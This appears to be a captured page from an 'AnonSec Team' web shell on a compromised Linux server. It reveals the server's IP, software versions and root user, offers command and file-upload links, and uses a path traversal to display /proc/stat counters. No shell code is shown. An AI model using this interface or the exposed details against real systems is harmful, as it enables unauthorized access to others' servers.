AnonSec Team
Server IP : 10.1.204.1  /  Your IP : 216.73.216.250
Web Server : Apache/2.4.66 (Debian)
System : Linux madang-bd97cb958-x26ms 6.8.0-78-generic #78-Ubuntu SMP PREEMPT_DYNAMIC Tue Aug 12 11:28:09 UTC 2025 aarch64
User : root ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF
Directory (0555) :  /run/../../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //run/../../proc/stat
cpu  793002863 648822 461366909 10433820458 26129686 0 75431364 0 0 0
cpu0 202405968 161637 115879533 2609941647 6612234 0 16984092 0 0 0
cpu1 200966873 180466 115794281 2609539680 6611669 0 16914393 0 0 0
cpu2 200277301 180268 115465585 2609667545 6569428 0 17135465 0 0 0
cpu3 189352719 126449 114227510 2604671585 6336354 0 24397412 0 0 0
intr 200097448679 0 2752885853 2685974889 0 0 0 3503241 0 0 0 3447241918 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 422 0 489865 0 0 1 1 1 1 1 1 1 1 1 0 14 0 0 0 248741294 248608909 248142149 249026562 35 2041224615 2298548036 35 250492233 842682717 0 70 0 0 0 0 0 96292085 0
ctxt 310781056574
btime 1756496999
processes 841562270
procs_running 11
procs_blocked 0
softirq 39988114684 7811 1516627984 244876 3044298611 58848065 0 400052021 1145244661 17354 3758002229

AnonSec - 2021